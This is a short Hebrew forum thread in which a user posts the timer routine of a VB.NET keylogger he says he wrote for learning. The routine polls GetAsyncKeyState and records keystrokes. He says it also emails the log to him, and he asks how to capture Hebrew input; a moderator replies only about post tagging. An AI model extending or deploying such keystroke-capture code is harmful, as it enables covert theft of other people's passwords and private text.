[עזרה] vb.net | עזרה | בניתי קילוגר אבל היא כותב לי הכל רק באנגלית

[- Sagi -]

טוב אז לצורך למידה בניתי קילוגר timer שבודק מה הוקלד כותב את זה ב textbox ואחר כך גם שולח לי לאיימל...
הנה הקוד של ה timer:

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub

איך אני אוכל לעשות שהוא יכתוב את מה שאני מקליד גם בעברית ולא רק באנגלית?

[Yoske]

סידרתי לך תיוג, בפעם הבאה זו אזהרה.